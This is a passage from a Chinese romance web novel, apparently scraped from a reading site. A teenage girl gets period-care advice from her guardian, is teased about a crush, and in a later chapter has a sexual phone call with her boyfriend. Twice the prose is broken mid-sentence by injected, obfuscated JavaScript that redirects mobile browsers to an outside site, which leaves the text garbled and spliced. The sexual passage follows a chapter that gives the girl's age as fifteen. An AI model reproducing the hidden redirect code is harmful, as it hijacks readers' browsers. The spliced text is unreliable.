声音自他脖颈后方传来,纪柏煊忽然偏头与她对望,提醒她:“这几天不要坐浴,不卫生。” 赫惟先是“啊”了一声,后面意识到他在说什么,红着耳朵点了头。 纪柏煊又说:“这段时间别碰凉水,如果要洗头发的话记得吹干再睡,还有体育课尽量请假,快中考了,我听说初三最近在严抓八百米成绩。” 赫惟小鸡啄米似的一下又一下点头。 “如果不舒服,随时敲我房门,我给你煮红糖水。”印象中阿姨每个月都会煮那么几次红糖水,纪柏煊猜测赫惟有痛经的毛病,不过应当不是特别严重。 他的秘书周晓痛经就很严重,每个月总有那么几天要请假,他身为男性无法感同身受,但还是体恤下属给人每个月加了两天月经假。 周晓因此感激涕零。 周末的那场晚宴周晓按理说不得缺席,可是她提前请了假。 白天的班她都上不了,更遑论晚上要应付那样的觥筹交错。 纪柏煊自然又准了假。 想到届时自己身边没个伴儿,免不了要被人拉着说场面话,或者一杯一杯地被灌酒,还不如给赫惟上一堂艺术课呢。 这场慈善晚宴的几件拍品大有来头,其中有一件胸针,纪柏煊猜测赫惟一定会喜欢。 于是还真就答应带她去参加晚宴。 但不只是带她,纪柏煊也顺便叫上了程茗,他担心当日自己事务繁多不能一直带着赫惟,叮嘱程茗做他的贴身保镖。 程茗自然雀跃,他最爱这种热闹的场面。 那天的后来,纪柏煊照着百度百科上面的文字,给赫惟一条一条列举经期的注意事项。 赫惟没和男性/交流过月经话题,在学校里偶尔和同桌发发痛经的牢骚,也总是很小声。记得之前有次课间,不知是哪位同学的卫生巾不慎从口袋滑落,就那么孤零零地躺在过道里,经过的男同学们竟然莫名其妙吹起口哨,好似这是什么见不得人的物件儿。 赫惟当时就恼了,她始终记得那个语文老师和她说过的话。 “来例假怎么了?世界上有一半的人都来呢,难道你妈不来?” 赫惟几步走上前去,拾起地上那片卫生巾往卫生间去,还不忘冲那两个吹口哨的男生竖了竖中指。 赫惟以为男女有别,男人永远无法感同身受女人的身体构造,但能做到尊重,就已经赢过了同性里的大部分。 尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15262810|166539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其当她第二天早起,发现她的保温杯里盛满一整杯红糖水,起床气顿时烟消云散。 能将语言付诸于行动,而不只是空洞的文字关心,他又赢过了剩下的99%。 纪柏煊这人真神奇……都好成这样了居然没有女人喜欢。 赫惟将这归结于他面对生人时候的冷漠,毕竟初见时他那副漠然的样子,任何人见了都要打怵。 她倒想看看他在社交场上的另外一副面孔。 - 赫惟和小昭说了自己要去参加慈善晚宴的事儿。 小昭吃饭还在校服里夹了本言情杂志,这会儿正好派上用场。 她翻到某一页问赫惟:“是不是就是这种众星云集、品酒鉴婊的晚会?” “鉴……婊?”赫惟第一次听见这词儿。 “对啊,女主角一般参加这种宴会呢,男主肯定会提前带女主去做造型,再给女主挑一条无比华丽的晚礼服,然后牵着女主角在万众瞩目之下站到聚光灯下。”小昭说得绘声绘色。 “宴会上肯定会有搅局的男配女配,比如男主的青梅,又或者前女友什么的,给男主下药或者给女主下药,男主呢就是带到她自己的房间,女主嘛肯定就是送到男配房间,然后故意让男主看见制造误会!” 小昭最近沉迷霸总小说,脑子里全都是这些狗血剧情。 赫惟伸手比动作,“打住!” “怎么了?” “人家那是言情小说,我这算什么?顶多算伦理剧。”女二以后是要做她“小妈”的,她哪里还敢造次。 小昭忽然掰正赫惟的肩膀,一双眼睛看好戏似的紧盯着她。 赫惟被她盯得心里发毛,“看小说看傻啦,神神叨叨的。” 小昭摇头,“我现在特别好奇一件事儿。” “什么事儿?” “你是不是喜欢你家老纪?” “噗-”赫惟刚咽下去的一口饭差点喷出来,眼神顷刻间变得凌厉。 “你别瞎说啊,我当你是朋友才把这事儿告诉你的。”大河他们可都不知道。 小昭一双眼睛里写满好奇,“我看小说里都这么写的,你们俩这种关系,又没有血缘,肯定拿的是男女主的剧本。” 小昭:“你说实话,你心里就没有一点点喜欢他吗?” 毕竟纪氏最年轻的董事长,商界杂志上隔三差五就要放他的照片引流,这放在言情小说里不得迷死一群人啊。 赫惟一脸无语,“我才十五岁,我喜欢吃喜欢喝就是不可能喜欢学习和男人。” 纪柏煊是和他爸同辈的人,她就算早恋也不可能喜欢这么老的呀。 小昭一副“你不懂”的表情,环顾了下四周,将杂志收进衣服里她才慢慢道:“咱们现在正是情窦初开的年纪,有喜欢的人很正常啊,而且咱们身边的男同学都是小屁孩儿,智障一样,要么就是书呆子,没什么意思。” “是吧,我也这么觉得。”赫惟很有信心她绝不会早恋,她眼光才没这么低呢。 “和同龄人一比,成年人的魅力实在太显著,就拿我自己举例吧……” 小昭声音再度降低,以防旁人听了去,她干脆端着餐盘坐到赫惟边上,“我就喜欢我的奥数老师,他今年大三,自己勤工俭学挣生活费,又聪明又勤劳。” “啊?”赫惟没想到小昭也有喜欢的人。 这是在继大河表白同班女生失败、同桌写在课本上的男生名字被她不小心瞥见之后,赫惟知道的又一个人。 好像大家都有喜欢的人。 小昭恰逢其时,来了句:“啊什么,有什么好大惊小怪的,大家都有自己喜欢的人,等再过几个月咱们上了高中,没准儿还能看到在小树林里打啵儿的呢。” 赫惟快速摇头,“我才不要看呢,这是不良风气。” “哈哈哈哈。”小昭说:“你肯定是跟你们家老纪呆得久了,说话一股家长味儿。” 不良风气,伤风败俗,有伤风化。 的确像是纪柏煊会说出来的词儿。 赫惟夹筷子的动作顿住,使出程茗的杀手锏,反着筷柄敲了敲小昭的脑袋。 “你言情小说把脑子看坏了吧,什么我家老纪,我拿他当我爸一样尊敬的好么!” “我警告你,你别亵渎我俩关系!” 13. 六便士07 程茗搬进来的第一周,别墅里气压低至冰点。 即便如此,纪柏煊依旧每晚早早回来,将赫惟、程茗那点歪心思扼杀在襁褓里。 那天吵到最后,赫惟破罐子破摔,“你要是看我这么不顺眼,干脆回新加坡去吧,眼不见为净。” 纪柏煊被赫惟一句话堵到哑口。 回去的路上,迁怒于程茗,狠批了他一路。 程茗沉默地受着,难得没还嘴。 原以为纸包不住火,他和赫惟同在一个屋檐下三天就要叫纪柏煊看出端倪,程茗声东击西,把室友许清穆叫来家里做客,又小演了一出。 程茗了解纪柏煊,他虽不发一言,其实心里多半已有打算。 无非就是拿钱收买人心。 纪家人一贯的行事风格,妄图用金钱买断感情,下作却高效。 程茗和许清穆关系要好,知晓许清穆家里情况,他老家在贵州的小镇,即便是在公大读完研,大概率也是回到户籍所在地的公安系统工作。 虽然也是许多人羡慕不来的好差事,但他内心里有多想留在京市,程茗不是不知道。 背后打点的事情原本就大费周章,程茗知道他工作的事单凭程似锦和陆世康那点儿人脉,多半是搞不定的,最后大概率是纪柏煊出面落实。 就当是借花献佛,许清穆帮他顶了雷,他也该给人家些好处。 想到这里,程茗提前给许清穆报了信,教他万一和纪柏煊正面交锋他应该如何应对,还奉劝他:“别不好意思开口,我妹可值钱了,你就是张口跟他要五百万支票,我估计都不成问题,别说区区一个工作机会了。” - 临近年关,纪家的小辈们都回了京,纪家的四合院一下子热闹了起来。 偏纪柏煊这个话题中心不回家去,口口声声说集团年底事务繁多,怕太晚回去扰了爷爷睡眠,还是回自个儿的别墅算了。 幸而没几步路,纪柏煊有心,每天早起陪纪国强吃早餐,爷俩一起遛早。 顺道还拉着程茗,将陪老爷子的任务踢皮球一样踢给了他这个小辈。 纪家孙辈都晚婚,如今一个曾孙没有,程似锦常年和方琼走得近,这些年来老爷子也有把她们一家写进族谱的想法,但却屡遭程似锦的拒绝。 程似锦为人执拗,一直怨恨老爷子当年拆散鸳鸯,年夜饭都没回来吃过一次。 但上一辈的恩怨不牵连到程茗,他没心眼儿,谁对他好他就跟谁亲,这几年也算半个纪家人。 纪柏煊和程茗一道出门,京市的天才蒙蒙亮,雾霾让整座城市的能见度大打折扣,程茗耷拉着脑袋,“我这放假比警训的时候起得还早,舅舅你是魔鬼吗?” “我是为你好,现在爷爷那儿每天来的客人都是大人物,随便夸你一句日后都能派上用场,你懂不懂?” 程茗当然懂,她没有程似锦那么清高,勤勤恳恳工作了一辈子还只是个普通狱警。 不靠纪家,就他那个尿性,给领导打杂都招人嫌。 见他多有牢骚,纪柏煊顿足,问他:“是不是以为逃离了你妈的视线,就能有机会去见你那小女朋友?” “什么啊……我哪儿来女朋友啊?”程茗还想打哈哈,被纪柏煊一个眼神止住了谎。 “你最好是正经谈女朋友,别像赫惟一样搞什么开放关系,这些丑闻以后要是被曝出来,影响你仕途!”提起赫惟,他又咬牙切齿。 “知道啦。” “那什么……别拍照拍视频,有时候人心隔肚皮。” 听到这,程茗乐了,“我是男的,这种亏我能吃?这种话你应该嘱咐小惟还差不多。” “我嘱咐,也要她肯听。”纪柏煊叹了口气,穿过垂花门走进内院,远远就看见廊上挂着的大红灯笼。 没再多话扫旁人兴,舅甥两个恭恭敬敬去正房等着吃早饭。 纯中式的一餐,豆汁儿、炸酱面一人一套,还有驴打滚。 从前纪柏煊在新加坡的时候总想着这一口,如今能吃到腻。 纪柏煊待一个多小时便去了公司,留程茗坐着打瞌睡,上午陪下棋,下午听戏,熬不住了就去纪柏煊原来的屋子里眯会儿,冲赫惟发发牢骚。 赫惟的生物钟还是反着的,下午三四点醒过来,两眼一睁就是照着林绮琪教的法子登po站。 她已经认命了,和程茗同在一个屋檐下却比从前跨区还要难相见,更别提做点别的坏事了。 做不了,但不代表不想。 别墅里地暖太热,赫惟穿薄薄一层睡衣躺在被子里,看了会儿某位老师的神作以后便忍不住两腿夹被。 又看了几分钟,待程茗发来语音的时候,她额头上已经沁出细细密密的一层汗珠。 衣裤也变得黏稠。 赫惟缓了缓自己略显急促的呼吸,回了程茗两句。 程茗却觉得她的话十分敷衍,忽然一个视频打了过来。 “在干嘛呢?”程茗疑惑。 那边好一会儿没接,程茗正疑心呢,直到耳边传来赫惟懒懒的打哈欠声音。 赫惟没开摄像头,将手机搁到枕头旁,不太高兴的语气,问他:“你几点回来?” “吃了晚饭回,今天家里冷清,舅舅勒令我陪着。”他也苦大仇深的,怪只怪下面没有其他晚辈顶着了。 赫惟不悦,“又搞那么晚,舅舅回家都比你早。”如此一来,她俩想偷个情难比登天。 “这么说,是想我了呗?”程茗忽然来了劲儿,靠着坐了起来。 那边却没有立即否认,赫惟迟疑了会儿,小声应了句,又像是没睡醒胡乱哼了声,调不成调。 程茗笑了声,心情立即好了。 长腿叠放,不自觉就笑了起来。 “想你…”赫惟仰头望着一片空白,忽然来了这么一句。 那边却不笑了,安静片刻,程茗咽了口口水,问她:“你到底在干嘛呢?” “你不对劲。”赫惟从不说这么直白的话,偶尔程茗说句情话她总要说他油,想从她嘴里听到这样的话,除非一种情况——在床上。 还得是大小姐兴致高的时候,否则她穿上裤子就睡觉,连个贤者时间问你爱不爱她都没有。 赫惟出了一身汗,浑身软绵无力,这么多天的空虚感在听到程茗声音的这一刻卷土重来,她压着声音,轻喘着道:“在想你啊。” “想我什么?”程茗唇角勾起,猜出个七八分来。 从前除了时间紧迫的时候,她们从未一夜只有一次的经历,那是蹉跎时间,也是对他这个警校生体力的蔑视。 睡前睡醒,她们的默契往往只需要一声粗重的喘息。 这个点赫惟刚醒,若是在一块儿,她一定像没骨头似的在他怀里蹭来蹭去,四处点火。 “我想做。”赫惟直截了当,脑海中想起刚才小说里男女主大开大合的动作,她乱晃着腿也跃跃欲试。 她们自从开荤,就没饿过这么久,她想一口吃个胖子。 程茗抿了抿唇,没忍住笑出声来,笑得肩膀都跟着直抖。 他不忍心拒绝那样娇媚的声音,瞄了眼窗外空无一人,将手机拿近些哄她:“你先自己玩会儿,我吃完饭就回去喂你。” 赫惟忽然耍起脾气,“我自己怎么玩儿,等你回来我……”都干了。 “上回送你的生日礼物呢?”程茗提醒她,上回他可不止送了她一条项链呢。 “啊,那个……”赫惟伸胳膊去抽屉里摸,终于摸到程茗口中的那根“礼物”。 可她没用过,有些不知所措。 程茗早有准备,搜索这个品牌的小程序,按照指示让赫惟进行操作。 他的手机可以绑定那小玩意儿,调节模式和频率。 程茗知道赫惟的耐力,也懂得通过她的声音和气息判断她的感受,从而制定战术。 挑选的礼物也是参考了她的习惯。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这样一来时间充裕,程茗答应赫惟放下碗筷就回去,在纪柏煊回家之前一定让大小姐满意。 赫惟起床洗了个澡,下楼吃了点东西复又回了房间。 久别胜初夜,她也想调动程茗的情绪,于是在着装上也暗下了心思。 她特地在浴袍里面穿了条紫色蕾丝裙,长度只到大腿根。 薄如纸片,撕起来也带劲。 又等了会儿,楼下灯暗了,阿姨下班了。 赫惟给程茗发消息催促,消息还未发出,赫惟就听见走廊有脚步声传来。 杂乱无章,一听就是程茗。 山中无老虎,猴子称霸王,赫惟睡袍带子一系,鬼鬼祟祟出了房门。 楼下客厅一片漆黑,窗外的月光也只能照见沙发的位置。 赫惟故意没开走廊灯,摸着黑走进程茗的房间。 因着上回梁媛借宿一晚,阴差阳错,程茗只能住在与纪柏煊一墙之隔的这个套间。 两人中间隔着距离,程茗的房间又离危险人物太近,没人敢冒这个险。 这是头一回,程茗用了调虎离山,换来这春宵一度。 赫惟没由来溢出个笑,轻手轻脚摸进房间,灯也不开就直奔卧室。 床上的人已经乖乖等着公主临幸了。 赫惟想先给他香吻一个,然后推着他去浴室,两个人顺势在浴室来一次,不做到酣畅淋漓不痛快。 然而…… 然而…… 赫惟娇柔地掀开被子,人作势蹲下身去,小手隔着T恤触到那片坚硬的腹肌线条,唇角弧度渐显。 接着手就不受控地下移,下移,下移…… 等等。 赫惟突然觉察出异样,手顿在那处。 触感不对,这人貌似不是程茗。 怎么像是……纪柏煊?